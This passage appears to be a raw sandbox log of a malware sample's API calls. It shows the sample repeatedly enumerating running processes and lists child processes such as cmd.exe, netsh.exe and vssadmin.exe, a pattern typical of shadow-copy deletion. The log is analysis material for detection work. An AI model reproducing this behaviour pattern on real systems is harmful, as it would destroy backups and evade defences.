cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.582] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0227.582] CloseHandle (hObject=0x100) returned 1 [0227.582] Sleep (dwMilliseconds=0x1f4) [0228.109] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17c [0228.117] Process32FirstW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.118] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0228.118] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0228.118] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0228.119] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0228.119] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0228.120] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0228.120] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0228.121] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0228.121] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0228.122] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.122] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.123] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.123] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.123] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.124] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0228.124] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.125] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.125] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0228.126] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0228.126] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0228.127] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0228.127] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.128] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0228.128] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0228.129] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0228.129] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0228.129] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0228.130] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0228.130] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0228.131] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0228.131] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0228.132] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0228.132] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.133] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0228.133] CloseHandle (hObject=0x17c) returned 1 [0228.133] Sleep (dwMilliseconds=0x1f4) [0228.683] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x100 [0228.685] Process32FirstW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.685] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0228.686] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0228.686] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0228.687] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0228.687] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0228.687] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0228.688] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0228.688] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0228.689] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0228.689] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.690] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.690] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.691] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.691] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.691] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0228.692] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.692] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.693] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0228.693] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0228.694] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0228.694] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0228.694] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.695] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0228.695] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0228.696] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0228.696] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0228.697] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0228.697] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0228.698] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0228.698] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0228.698] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0228.699] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0228.699] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.700] Process32NextW (in: hSnapshot=0x100, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0228.700] CloseHandle (hObject=0x100) returned 1 [0228.700] Sleep (dwMilliseconds=0x1f4) [0229.252] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1a8 [0229.254] Process32FirstW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.254] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0229.255] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0229.255] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0229.256] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0229.256] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0229.257] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0229.257] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0229.258] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0229.258] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0229.258] Process32NextW (in: hSnapshot=0x1a8, lppe=0xdaf714 